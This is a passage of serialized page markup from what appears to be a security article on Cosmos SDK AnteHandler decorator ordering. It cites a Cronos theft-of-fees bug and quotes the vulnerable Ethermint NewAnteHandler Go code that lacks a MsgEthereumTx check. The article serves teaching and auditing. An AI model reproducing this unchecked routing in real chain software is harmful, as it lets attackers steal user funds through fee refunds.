NewValidateSigCountDecorator",{"type":24,"tag":90,"props":81365,"children":81366},{"style":114},[81367],{"type":29,"value":117},{"type":24,"tag":90,"props":81369,"children":81370},{"style":136},[81371],{"type":29,"value":37854},{"type":24,"tag":90,"props":81373,"children":81374},{"style":114},[81375],{"type":29,"value":226},{"type":24,"tag":90,"props":81377,"children":81378},{"style":136},[81379],{"type":29,"value":81211},{"type":24,"tag":90,"props":81381,"children":81382},{"style":114},[81383],{"type":29,"value":779},{"type":24,"tag":90,"props":81385,"children":81386},{"class":92,"line":574},[81387,81392,81396,81400,81404,81408,81412,81416,81420,81425],{"type":24,"tag":90,"props":81388,"children":81389},{"style":108},[81390],{"type":29,"value":81391}," NewSigGasConsumeDecorator",{"type":24,"tag":90,"props":81393,"children":81394},{"style":114},[81395],{"type":29,"value":117},{"type":24,"tag":90,"props":81397,"children":81398},{"style":136},[81399],{"type":29,"value":37854},{"type":24,"tag":90,"props":81401,"children":81402},{"style":114},[81403],{"type":29,"value":226},{"type":24,"tag":90,"props":81405,"children":81406},{"style":136},[81407],{"type":29,"value":81211},{"type":24,"tag":90,"props":81409,"children":81410},{"style":114},[81411],{"type":29,"value":133},{"type":24,"tag":90,"props":81413,"children":81414},{"style":136},[81415],{"type":29,"value":37854},{"type":24,"tag":90,"props":81417,"children":81418},{"style":114},[81419],{"type":29,"value":226},{"type":24,"tag":90,"props":81421,"children":81422},{"style":136},[81423],{"type":29,"value":81424},"SigGasConsumer",{"type":24,"tag":90,"props":81426,"children":81427},{"style":114},[81428],{"type":29,"value":779},{"type":24,"tag":90,"props":81430,"children":81431},{"class":92,"line":606},[81432,81437,81441,81445,81449,81453,81457,81461,81465,81470],{"type":24,"tag":90,"props":81433,"children":81434},{"style":108},[81435],{"type":29,"value":81436}," NewSigVerificationDecorator",{"type":24,"tag":90,"props":81438,"children":81439},{"style":114},[81440],{"type":29,"value":117},{"type":24,"tag":90,"props":81442,"children":81443},{"style":136},[81444],{"type":29,"value":37854},{"type":24,"tag":90,"props":81446,"children":81447},{"style":114},[81448],{"type":29,"value":226},{"type":24,"tag":90,"props":81450,"children":81451},{"style":136},[81452],{"type":29,"value":81211},{"type":24,"tag":90,"props":81454,"children":81455},{"style":114},[81456],{"type":29,"value":133},{"type":24,"tag":90,"props":81458,"children":81459},{"style":136},[81460],{"type":29,"value":37854},{"type":24,"tag":90,"props":81462,"children":81463},{"style":114},[81464],{"type":29,"value":226},{"type":24,"tag":90,"props":81466,"children":81467},{"style":136},[81468],{"type":29,"value":81469},"SignModeHandler",{"type":24,"tag":90,"props":81471,"children":81472},{"style":114},[81473],{"type":29,"value":779},{"type":24,"tag":90,"props":81475,"children":81476},{"class":92,"line":615},[81477,81482,81486,81490,81494,81498],{"type":24,"tag":90,"props":81478,"children":81479},{"style":108},[81480],{"type":29,"value":81481}," NewIncrementSequenceDecorator",{"type":24,"tag":90,"props":81483,"children":81484},{"style":114},[81485],{"type":29,"value":117},{"type":24,"tag":90,"props":81487,"children":81488},{"style":136},[81489],{"type":29,"value":37854},{"type":24,"tag":90,"props":81491,"children":81492},{"style":114},[81493],{"type":29,"value":226},{"type":24,"tag":90,"props":81495,"children":81496},{"style":136},[81497],{"type":29,"value":81211},{"type":24,"tag":90,"props":81499,"children":81500},{"style":114},[81501],{"type":29,"value":779},{"type":24,"tag":90,"props":81503,"children":81504},{"class":92,"line":623},[81505],{"type":24,"tag":90,"props":81506,"children":81507},{"style":114},[81508],{"type":29,"value":827},{"type":24,"tag":25,"props":81510,"children":81511},{},[81512,81514,81519,81521,81527,81528,81534],{"type":29,"value":81513},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":32,"props":81515,"children":81517},{"className":81516},[],[81518],{"type":29,"value":81049},{"type":29,"value":81520},", such as ",{"type":24,"tag":32,"props":81522,"children":81524},{"className":81523},[],[81525],{"type":29,"value":81526},"SigGasConsumeDecorator",{"type":29,"value":13360},{"type":24,"tag":32,"props":81529,"children":81531},{"className":81530},[],[81532],{"type":29,"value":81533},"ConsumeGasForTxSizeDecorator",{"type":29,"value":81535},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":25,"props":81537,"children":81538},{},[81539,81541,81547,81549,81554],{"type":29,"value":81540},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":32,"props":81542,"children":81544},{"className":81543},[],[81545],{"type":29,"value":81546},"msgs",{"type":29,"value":81548}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":32,"props":81550,"children":81552},{"className":81551},[],[81553],{"type":29,"value":80375},{"type":29,"value":81555}," chain.",{"type":24,"tag":1019,"props":81557,"children":81559},{"id":81558},"real-world-examples-2",[81560],{"type":29,"value":78519},{"type":24,"tag":25,"props":81562,"children":81563},{},[81564,81566,81571,81573,81580],{"type":29,"value":81565},"An instance of ",{"type":24,"tag":32,"props":81567,"children":81569},{"className":81568},[],[81570],{"type":29,"value":80300},{"type":29,"value":81572}," misuse is a ",{"type":24,"tag":69,"props":81574,"children":81577},{"href":81575,"rel":81576},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[73],[81578],{"type":29,"value":81579},"Theft of Fund bug",{"type":29,"value":81581}," that was exploited in a Cronos contract.",{"type":24,"tag":25,"props":81583,"children":81584},{},[81585,81587,81592,81594,81599,81601,81607,81609,81615,81617,81622,81624,81629],{"type":29,"value":81586},"In this scenario, ",{"type":24,"tag":32,"props":81588,"children":81590},{"className":81589},[],[81591],{"type":29,"value":81546},{"type":29,"value":81593}," are multiplexed to different ",{"type":24,"tag":32,"props":81595,"children":81597},{"className":81596},[],[81598],{"type":29,"value":80300},{"type":29,"value":81600}," sets through the user-controlled ",{"type":24,"tag":32,"props":81602,"children":81604},{"className":81603},[],[81605],{"type":29,"value":81606},"ExtensionOptionsEthereumTx",{"type":29,"value":81608}," option. However, due to a lack of tx validation, if a ",{"type":24,"tag":32,"props":81610,"children":81612},{"className":81611},[],[81613],{"type":29,"value":81614},"MsgEthereumTx",{"type":29,"value":81616}," does not have ",{"type":24,"tag":32,"props":81618,"children":81620},{"className":81619},[],[81621],{"type":29,"value":81606},{"type":29,"value":81623}," specified, it will be routed to non-Ethereum ",{"type":24,"tag":32,"props":81625,"children":81627},{"className":81626},[],[81628],{"type":29,"value":81049},{"type":29,"value":81630},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":24,"tag":25,"props":81632,"children":81633},{},[81634],{"type":24,"tag":69,"props":81635,"children":81638},{"href":81636,"rel":81637},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[73],[81639],{"type":29,"value":78569},{"type":24,"tag":80,"props":81641,"children":81643},{"code":81642,"language":77994,"meta":7,"className":77995,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n \"transaction is not an SDK tx\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n}\n",[81644],{"type":24,"tag":32,"props":81645,"children":81646},{"__ignoreMap":7},[81647,81663,81688,81712,81729,81754,81780,81805,81828,81844,81900,81941,81967,81974,82020,82027,82073,82089,82119,82154,82206,82223,82231,82238,82267,82283,82291,82317,82325,82332,82344,82378,82424,82436,82443,82450,82457,82496,82503,82510,82517,82525,82532,82556,82580,82608,82633,82641,82674,82681,82693,82724,82779,82792,82800,82808,82816,82856,82864],{"type":24,"tag":90,"props":81648,"children":81649},{"class":92,"line":93},[81650,81654,81659],{"type":24,"tag":90,"props":81651,"children":81652},{"style":97},[81653],{"type":29,"value":78130},{"type":24,"tag":90,"props":81655,"children":81656},{"style":108},[81657],{"type":29,"value":81658}," NewAnteHandler",{"type":24,"tag":90,"props":81660,"children":81661},{"style":114},[81662],{"type":29,"value":680},{"type":24,"tag":90,"props":81664,"children":81665},{"class":92,"line":200},[81666,81671,81676,81680,81684],{"type":24,"tag":90,"props":81667,"children":81668},{"style":136},[81669],{"type":29,"value":81670}," ak",{"type":24,"tag":90,"props":81672,"children":81673},{"style":146},[81674],{"type":29,"value":81675}," evmtypes",{"type":24,"tag":90,"props":81677,"children":81678},{"style":114},[81679],{"type":29,"value":226},{"type":24,"tag":90,"props":81681,"children":81682},{"style":146},[81683],{"type":29,"value":81211},{"type":24,"tag":90,"props":81685,"children":81686},{"style":114},[81687],{"type":29,"value":748},{"type":24,"tag":90,"props":81689,"children":81690},{"class":92,"line":239},[81691,81696,81700,81704,81708],{"type":24,"tag":90,"props":81692,"children":81693},{"style":136},[81694],{"type":29,"value":81695}," bankKeeper",{"type":24,"tag":90,"props":81697,"children":81698},{"style":146},[81699],{"type":29,"value":81675},{"type":24,"tag":90,"props":81701,"children":81702},{"style":114},[81703],{"type":29,"value":226},{"type":24,"tag":90,"props":81705,"children":81706},{"style":146},[81707],{"type":29,"value":81284},{"type":24,"tag":90,"props":81709,"children":81710},{"style":114},[81711],{"type":29,"value":748},{"type":24,"tag":90,"props":81713,"children":81714},{"class":92,"line":248},[81715,81720,81725],{"type":24,"tag":90,"props":81716,"children":81717},{"style":136},[81718],{"type":29,"value":81719}," evmKeeper",{"type":24,"tag":90,"props":81721,"children":81722},{"style":146},[81723],{"type":29,"value":81724}," EVMKeeper",{"type":24,"tag":90,"props":81726,"children":81727},{"style":114},[81728],{"type":29,"value":748},{"type":24,"tag":90,"props":81730,"children":81731},{"class":92,"line":258},[81732,81737,81742,81746,81750],{"type":24,"tag":90,"props":81733,"children":81734},{"style":136},[81735],{"type":29,"value":81736}," feeGrantKeeper",{"type":24,"tag":90,"props":81738,"children":81739},{"style":146},[81740],{"type":29,"value":81741}," authante",{"type":24,"tag":90,"props":81743,"children":81744},{"style":114},[81745],{"type":29,"value":226},{"type":24,"tag":90,"props":81747,"children":81748},{"style":146},[81749],{"type":29,"value":81301},{"type":24,"tag":90,"props":81751,"children":81752},{"style":114},[81753],{"type":29,"value":748},{"type":24,"tag":90,"props":81755,"children":81756},{"class":92,"line":272},[81757,81762,81767,81771,81776],{"type":24,"tag":90,"props":81758,"children":81759},{"style":136},[81760],{"type":29,"value":81761}," channelKeeper",{"type":24,"tag":90,"props":81763,"children":81764},{"style":146},[81765],{"type":29,"value":81766}," channelkeeper",{"type":24,"tag":90,"props":81768,"children":81769},{"style":114},[81770],{"type":29,"value":226},{"type":24,"tag":90,"props":81772,"children":81773},{"style":146},[81774],{"type":29,"value":81775},"Keeper",{"type":24,"tag":90,"props":81777,"children":81778},{"style":114},[81779],{"type":29,"value":748},{"type":24,"tag":90,"props":81781,"children":81782},{"class":92,"line":281},[81783,81788,81793,81797,81801],{"type":24,"tag":90,"props":81784,"children":81785},{"style":136},[81786],{"type":29,"value":81787}," signModeHandler",{"type":24,"tag":90,"props":81789,"children":81790},{"style":146},[81791],{"type":29,"value":81792}," authsigning",{"type":24,"tag":90,"props":81794,"children":81795},{"style":114},[81796],{"type":29,"value":226},{"type":24,"tag":90,"props":81798,"children":81799},{"style":146},[81800],{"type":29,"value":81469},{"type":24,"tag":90,"props":81802,"children":81803},{"style":114},[81804],{"type":29,"value":748},{"type":24,"tag":90,"props":81806,"children":81807},{"class":92,"line":384},[81808,81812,81816,81820,81824],{"type":24,"tag":90,"props":81809,"children":81810},{"style":114},[81811],{"type":29,"value":172},{"type":24,"tag":90,"props":81813,"children":81814},{"style":146},[81815],{"type":29,"value":80560},{"type":24,"tag":90,"props":81817,"children":81818},{"style":114},[81819],{"type":29,"value":226},{"type":24,"tag":90,"props":81821,"children":81822},{"style":146},[81823],{"type":29,"value":80300},{"type":24,"tag":90,"props":81825,"children":81826},{"style":114},[81827],{"type":29,"value":269},{"type":24,"tag":90,"props":81829,"children":81830},{"class":92,"line":420},[81831,81835,81840],{"type":24,"tag":90,"props":81832,"children":81833},{"style":636},[81834],{"type":29,"value":3510},{"type":24,"tag":90,"props":81836,"children":81837},{"style":97},[81838],{"type":29,"value":81839}," func",{"type":24,"tag":90,"props":81841,"children":81842},{"style":114},[81843],{"type":29,"value":680},{"type":24,"tag":90,"props":81845,"children":81846},{"class":92,"line":428},[81847,81851,81855,81859,81863,81867,81871,81875,81879,81883,81887,81892,81896],{"type":24,"tag":90,"props":81848,"children":81849},{"style":136},[81850],{"type":29,"value":27995},{"type":24,"tag":90,"props":81852,"children":81853},{"style":146},[81854],{"type":29,"value":80471},{"type":24,"tag":90,"props":81856,"children":81857},{"style":114},[81858],{"type":29,"value":226},{"type":24,"tag":90,"props":81860,"children":81861},{"style":146},[81862],{"type":29,"value":78179},{"type":24,"tag":90,"props":81864,"children":81865},{"style":114},[81866],{"type":29,"value":133},{"type":24,"tag":90,"props":81868,"children":81869},{"style":136},[81870],{"type":29,"value":81011},{"type":24,"tag":90,"props":81872,"children":81873},{"style":146},[81874],{"type":29,"value":80471},{"type":24,"tag":90,"props":81876,"children":81877},{"style":114},[81878],{"type":29,"value":226},{"type":24,"tag":90,"props":81880,"children":81881},{"style":146},[81882],{"type":29,"value":80504},{"type":24,"tag":90,"props":81884,"children":81885},{"style":114},[81886],{"type":29,"value":133},{"type":24,"tag":90,"props":81888,"children":81889},{"style":136},[81890],{"type":29,"value":81891},"sim",{"type":24,"tag":90,"props":81893,"children":81894},{"style":146},[81895],{"type":29,"value":167},{"type":24,"tag":90,"props":81897,"children":81898},{"style":114},[81899],{"type":29,"value":748},{"type":24,"tag":90,"props":81901,"children":81902},{"class":92,"line":437},[81903,81908,81913,81917,81921,81925,81929,81933,81937],{"type":24,"tag":90,"props":81904,"children":81905},{"style":114},[81906],{"type":29,"value":81907}," ) (",{"type":24,"tag":90,"props":81909,"children":81910},{"style":136},[81911],{"type":29,"value":81912},"newCtx",{"type":24,"tag":90,"props":81914,"children":81915},{"style":146},[81916],{"type":29,"value":80471},{"type":24,"tag":90,"props":81918,"children":81919},{"style":114},[81920],{"type":29,"value":226},{"type":24,"tag":90,"props":81922,"children":81923},{"style":146},[81924],{"type":29,"value":78179},{"type":24,"tag":90,"props":81926,"children":81927},{"style":114},[81928],{"type":29,"value":133},{"type":24,"tag":90,"props":81930,"children":81931},{"style":136},[81932],{"type":29,"value":50243},{"type":24,"tag":90,"props":81934,"children":81935},{"style":146},[81936],{"type":29,"value":1370},{"type":24,"tag":90,"props":81938,"children":81939},{"style":114},[81940],{"type":29,"value":1297},{"type":24,"tag":90,"props":81942,"children":81943},{"class":92,"line":574},[81944,81949,81954,81958,81962],{"type":24,"tag":90,"props":81945,"children":81946},{"style":97},[81947],{"type":29,"value":81948}," var",{"type":24,"tag":90,"props":81950,"children":81951},{"style":136},[81952],{"type":29,"value":81953}," anteHandler",{"type":24,"tag":90,"props":81955,"children":81956},{"style":146},[81957],{"type":29,"value":80471},{"type":24,"tag":90,"props":81959,"children":81960},{"style":114},[81961],{"type":29,"value":226},{"type":24,"tag":90,"props":81963,"children":81964},{"style":146},[81965],{"type":29,"value":81966},"AnteHandler\n",{"type":24,"tag":90,"props":81968,"children":81969},{"class":92,"line":606},[81970],{"type":24,"tag":90,"props":81971,"children":81972},{"emptyLinePlaceholder":16},[81973],{"type":29,"value":245},{"type":24,"tag":90,"props":81975,"children":81976},{"class":92,"line":615},[81977,81982,81987,81991,81995,81999,82004,82008,82012,82016],{"type":24,"tag":90,"props":81978,"children":81979},{"style":636},[81980],{"type":29,"value":81981}," defer",{"type":24,"tag":90,"props":81983,"children":81984},{"style":108},[81985],{"type":29,"value":81986}," Recover",{"type":24,"tag":90,"props":81988,"children":81989},{"style":114},[81990],{"type":29,"value":117},{"type":24,"tag":90,"props":81992,"children":81993},{"style":136},[81994],{"type":29,"value":22076},{"type":24,"tag":90,"props":81996,"children":81997},{"style":114},[81998],{"type":29,"value":226},{"type":24,"tag":90,"props":82000,"children":82001},{"style":108},[82002],{"type":29,"value":82003},"Logger",{"type":24,"tag":90,"props":82005,"children":82006},{"style":114},[82007],{"type":29,"value":4900},{"type":24,"tag":90,"props":82009,"children":82010},{"style":120},[82011],{"type":29,"value":123},{"type":24,"tag":90,"props":82013,"children":82014},{"style":136},[82015],{"type":29,"value":50243},{"type":24,"tag":90,"props":82017,"children":82018},{"style":114},[82019],{"type":29,"value":1686},{"type":24,"tag":90,"props":82021,"children":82022},{"class":92,"line":623},[82023],{"type":24,"tag":90,"props":82024,"children":82025},{"emptyLinePlaceholder":16},[82026],{"type":29,"value":245},{"type":24,"tag":90,"props":82028,"children":82029},{"class":92,"line":632},[82030,82035,82039,82043,82047,82051,82055,82060,82064,82069],{"type":24,"tag":90,"props":82031,"children":82032},{"style":136},[82033],{"type":29,"value":82034}," txWithExtensions",{"type":24,"tag":90,"props":82036,"children":82037},{"style":114},[82038],{"type":29,"value":133},{"type":24,"tag":90,"props":82040,"children":82041},{"style":136},[82042],{"type":29,"value":80597},{"type":24,"tag":90,"props":82044,"children":82045},{"style":120},[82046],{"type":29,"value":78246},{"type":24,"tag":90,"props":82048,"children":82049},{"style":136},[82050],{"type":29,"value":69855},{"type":24,"tag":90,"props":82052,"children":82053},{"style":114},[82054],{"type":29,"value":80610},{"type":24,"tag":90,"props":82056,"children":82057},{"style":146},[82058],{"type":29,"value":82059},"authante",{"type":24,"tag":90,"props":82061,"children":82062},{"style":114},[82063],{"type":29,"value":226},{"type":24,"tag":90,"props":82065,"children":82066},{"style":146},[82067],{"type":29,"value":82068},"HasExtensionOptionsTx",{"type":24,"tag":90,"props":82070,"children":82071},{"style":114},[82072],{"type":29,"value":1686},{"type":24,"tag":90,"props":82074,"children":82075},{"class":92,"line":669},[82076,82080,82085],{"type":24,"tag":90,"props":82077,"children":82078},{"style":636},[82079],{"type":29,"value":5667},{"type":24,"tag":90,"props":82081,"children":82082},{"style":136},[82083],{"type":29,"value":82084}," ok",{"type":24,"tag":90,"props":82086,"children":82087},{"style":114},[82088],{"type":29,"value":269},{"type":24,"tag":90,"props":82090,"children":82091},{"class":92,"line":683},[82092,82097,82101,82106,82110,82115],{"type":24,"tag":90,"props":82093,"children":82094},{"style":136},[82095],{"type":29,"value":82096}," opts",{"type":24,"tag":90,"props":82098,"children":82099},{"style":120},[82100],{"type":29,"value":78246},{"type":24,"tag":90,"props":82102,"children":82103},{"style":136},[82104],{"type":29,"value":82105}," txWithExtensions",{"type":24,"tag":90,"props":82107,"children":82108},{"style":114},[82109],{"type":29,"value":226},{"type":24,"tag":90,"props":82111,"children":82112},{"style":108},[82113],{"type":29,"value":82114},"GetExtensionOptions",{"type":24,"tag":90,"props":82116,"children":82117},{"style":114},[82118],{"type":29,"value":2121},{"type":24,"tag":90,"props":82120,"children":82121},{"class":92,"line":737},[82122,82126,82130,82134,82138,82142,82146,82150],{"type":24,"tag":90,"props":82123,"children":82124},{"style":636},[82125],{"type":29,"value":60626},{"type":24,"tag":90,"props":82127,"children":82128},{"style":108},[82129],{"type":29,"value":10933},{"type":24,"tag":90,"props":82131,"children":82132},{"style":114},[82133],{"type":29,"value":117},{"type":24,"tag":90,"props":82135,"children":82136},{"style":136},[82137],{"type":29,"value":50385},{"type":24,"tag":90,"props":82139,"children":82140},{"style":114},[82141],{"type":29,"value":172},{"type":24,"tag":90,"props":82143,"children":82144},{"style":120},[82145],{"type":29,"value":12830},{"type":24,"tag":90,"props":82147,"children":82148},{"style":349},[82149],{"type":29,"value":5448},{"type":24,"tag":90,"props":82151,"children":82152},{"style":114},[82153],{"type":29,"value":269},{"type":24,"tag":90,"props":82155,"children":82156},{"class":92,"line":751},[82157,82162,82167,82171,82176,82180,82184,82188,82193,82197,82202],{"type":24,"tag":90,"props":82158,"children":82159},{"style":636},[82160],{"type":29,"value":82161}," switch",{"type":24,"tag":90,"props":82163,"children":82164},{"style":136},[82165],{"type":29,"value":82166}," typeURL",{"type":24,"tag":90,"props":82168,"children":82169},{"style":120},[82170],{"type":29,"value":78246},{"type":24,"tag":90,"props":82172,"children":82173},{"style":136},[82174],{"type":29,"value":82175}," opts",{"type":24,"tag":90,"props":82177,"children":82178},{"style":114},[82179],{"type":29,"value":719},{"type":24,"tag":90,"props":82181,"children":82182},{"style":349},[82183],{"type":29,"value":6408},{"type":24,"tag":90,"props":82185,"children":82186},{"style":114},[82187],{"type":29,"value":52172},{"type":24,"tag":90,"props":82189,"children":82190},{"style":108},[82191],{"type":29,"value":82192},"GetTypeUrl",{"type":24,"tag":90,"props":82194,"children":82195},{"style":114},[82196],{"type":29,"value":30258},{"type":24,"tag":90,"props":82198,"children":82199},{"style":136},[82200],{"type":29,"value":82201},"typeURL",{"type":24,"tag":90,"props":82203,"children":82204},{"style":114},[82205],{"type":29,"value":269},{"type":24,"tag":90,"props":82207,"children":82208},{"class":92,"line":782},[82209,82214,82219],{"type":24,"tag":90,"props":82210,"children":82211},{"style":636},[82212],{"type":29,"value":82213}," case",{"type":24,"tag":90,"props":82215,"children":82216},{"style":1085},[82217],{"type":29,"value":82218}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":24,"tag":90,"props":82220,"children":82221},{"style":114},[82222],{"type":29,"value":7954},{"type":24,"tag":90,"props":82224,"children":82225},{"class":92,"line":791},[82226],{"type":24,"tag":90,"props":82227,"children":82228},{"style":252},[82229],{"type":29,"value":82230}," // handle as *evmtypes.MsgEthereumTx\n",{"type":24,"tag":90,"props":82232,"children":82233},{"class":92,"line":799},[82234],{"type":24,"tag":90,"props":82235,"children":82236},{"emptyLinePlaceholder":16},[82237],{"type":29,"value":245},{"type":24,"tag":90,"props":82239,"children":82240},{"class":92,"line":807},[82241,82246,82250,82254,82258,82263],{"type":24,"tag":90,"props":82242,"children":82243},{"style":136},[82244],{"type":29,"value":82245}," anteHandler",{"type":24,"tag":90,"props":82247,"children":82248},{"style":120},[82249],{"type":29,"value":216},{"type":24,"tag":90,"props":82251,"children":82252},{"style":136},[82253],{"type":29,"value":80471},{"type":24,"tag":90,"props":82255,"children":82256},{"style":114},[82257],{"type":29,"value":226},{"type":24,"tag":90,"props":82259,"children":82260},{"style":108},[82261],{"type":29,"value":82262},"ChainAnteDecorators",{"type":24,"tag":90,"props":82264,"children":82265},{"style":114},[82266],{"type":29,"value":680},{"type":24,"tag":90,"props":82268,"children":82269},{"class":92,"line":821},[82270,82275,82279],{"type":24,"tag":90,"props":82271,"children":82272},{"style":108},[82273],{"type":29,"value":82274}," NewEthSetUpContextDecorator",{"type":24,"tag":90,"props":82276,"children":82277},{"style":114},[82278],{"type":29,"value":4900},{"type":24,"tag":90,"props":82280,"children":82281},{"style":252},[82282],{"type":29,"value":81125},{"type":24,"tag":90,"props":82284,"children":82285},{"class":92,"line":6278},[82286],{"type":24,"tag":90,"props":82287,"children":82288},{"style":120},[82289],{"type":29,"value":82290}," ...\n",{"type":24,"tag":90,"props":82292,"children":82293},{"class":92,"line":11420},[82294,82299,82303,82308,82312],{"type":24,"tag":90,"props":82295,"children":82296},{"style":108},[82297],{"type":29,"value":82298}," NewEthIncrementSenderSequenceDecorator",{"type":24,"tag":90,"props":82300,"children":82301},{"style":114},[82302],{"type":29,"value":117},{"type":24,"tag":90,"props":82304,"children":82305},{"style":136},[82306],{"type":29,"value":82307},"ak",{"type":24,"tag":90,"props":82309,"children":82310},{"style":114},[82311],{"type":29,"value":1677},{"type":24,"tag":90,"props":82313,"children":82314},{"style":252},[82315],{"type":29,"value":82316},"// innermost AnteDecorator.\n",{"type":24,"tag":90,"props":82318,"children":82319},{"class":92,"line":11438},[82320],{"type":24,"tag":90,"props":82321,"children":82322},{"style":114},[82323],{"type":29,"value":82324}," )\n",{"type":24,"tag":90,"props":82326,"children":82327},{"class":92,"line":11483},[82328],{"type":24,"tag":90,"props":82329,"children":82330},{"emptyLinePlaceholder":16},[82331],{"type":29,"value":245},{"type":24,"tag":90,"props":82333,"children":82334},{"class":92,"line":11589},[82335,82340],{"type":24,"tag":90,"props":82336,"children":82337},{"style":636},[82338],{"type":29,"value":82339}," default",{"type":24,"tag":90,"props":82341,"children":82342},{"style":114},[82343],{"type":29,"value":7954},{"type":24,"tag":90,"props":82345,"children":82346},{"class":92,"line":25306},[82347,82352,82356,82360,82365,82369,82374],{"type":24,"tag":90,"props":82348,"children":82349},{"style":636},[82350],{"type":29,"value":82351}," return",{"type":24,"tag":90,"props":82353,"children":82354},{"style":136},[82355],{"type":29,"value":27652},{"type":24,"tag":90,"props":82357,"children":82358},{"style":114},[82359],{"type":29,"value":133},{"type":24,"tag":90,"props":82361,"children":82362},{"style":136},[82363],{"type":29,"value":82364},"stacktrace",{"type":24,"tag":90,"props":82366,"children":82367},{"style":114},[82368],{"type":29,"value":226},{"type":24,"tag":90,"props":82370,"children":82371},{"style":108},[82372],{"type":29,"value":82373},"Propagate",{"type":24,"tag":90,"props":82375,"children":82376},{"style":114},[82377],{"type":29,"value":680},{"type":24,"tag":90,"props":82379,"children":82380},{"class":92,"line":25341},[82381,82386,82390,82394,82398,82403,82407,82412,82416,82420],{"type":24,"tag":90,"props":82382,"children":82383},{"style":136},[82384],{"type":29,"value":82385}," sdkerrors",{"type":24,"tag":90,"props":82387,"children":82388},{"style":114},[82389],{"type":29,"value":226},{"type":24,"tag":90,"props":82391,"children":82392},{"style":108},[82393],{"type":29,"value":80676},{"type":24,"tag":90,"props":82395,"children":82396},{"style":114},[82397],{"type":29,"value":117},{"type":24,"tag":90,"props":82399,"children":82400},{"style":136},[82401],{"type":29,"value":82402},"sdkerrors",{"type":24,"tag":90,"props":82404,"children":82405},{"style":114},[82406],{"type":29,"value":226},{"type":24,"tag":90,"props":82408,"children":82409},{"style":136},[82410],{"type":29,"value":82411},"ErrUnknownExtensionOptions",{"type":24,"tag":90,"props":82413,"children":82414},{"style":114},[82415],{"type":29,"value":133},{"type":24,"tag":90,"props":82417,"children":82418},{"style":136},[82419],{"type":29,"value":82201},{"type":24,"tag":90,"props":82421,"children":82422},{"style":114},[82423],{"type":29,"value":779},{"type":24,"tag":90,"props":82425,"children":82426},{"class":92,"line":25349},[82427,82432],{"type":24,"tag":90,"props":82428,"children":82429},{"style":1085},[82430],{"type":29,"value":82431}," \"rejecting tx with unsupported extension option\"",{"type":24,"tag":90,"props":82433,"children":82434},{"style":114},[82435],{"type":29,"value":748},{"type":24,"tag":90,"props":82437,"children":82438},{"class":92,"line":25357},[82439],{"type":24,"tag":90,"props":82440,"children":82441},{"style":114},[82442],{"type":29,"value":82324},{"type":24,"tag":90,"props":82444,"children":82445},{"class":92,"line":25366},[82446],{"type":24,"tag":90,"props":82447,"children":82448},{"style":114},[82449],{"type":29,"value":72899},{"type":24,"tag":90,"props":82451,"children":82452},{"class":92,"line":25408},[82453],{"type":24,"tag":90,"props":82454,"children":82455},{"emptyLinePlaceholder":16},[82456],{"type":29,"value":245},{"type":24,"tag":90,"props":82458,"children":82459},{"class":92,"line":25441},[82460,82464,82468,82472,82476,82480,82484,82488,82492],{"type":24,"tag":90,"props":82461,"children":82462},{"style":636},[82463],{"type":29,"value":62554},{"type":24,"tag":90,"props":82465,"children":82466},{"style":108},[82467],{"type":29,"value":81953},{"type":24,"tag":90,"props":82469,"children":82470},{"style":114},[82471],{"type":29,"value":117},{"type":24,"tag":90,"props":82473,"children":82474},{"style":136},[82475],{"type":29,"value":22076},{"type":24,"tag":90,"props":82477,"children":82478},{"style":114},[82479],{"type":29,"value":133},{"type":24,"tag":90,"props":82481,"children":82482},{"style":136},[82483],{"type":29,"value":81011},{"type":24,"tag":90,"props":82485,"children":82486},{"style":114},[82487],{"type":29,"value":133},{"type":24,"tag":90,"props":82489,"children":82490},{"style":136},[82491],{"type":29,"value":81891},{"type":24,"tag":90,"props":82493,"children":82494},{"style":114},[82495],{"type":29,"value":1686},{"type":24,"tag":90,"props":82497,"children":82498},{"class":92,"line":25449},[82499],{"type":24,"tag":90,"props":82500,"children":82501},{"style":114},[82502],{"type":29,"value":60710},{"type":24,"tag":90,"p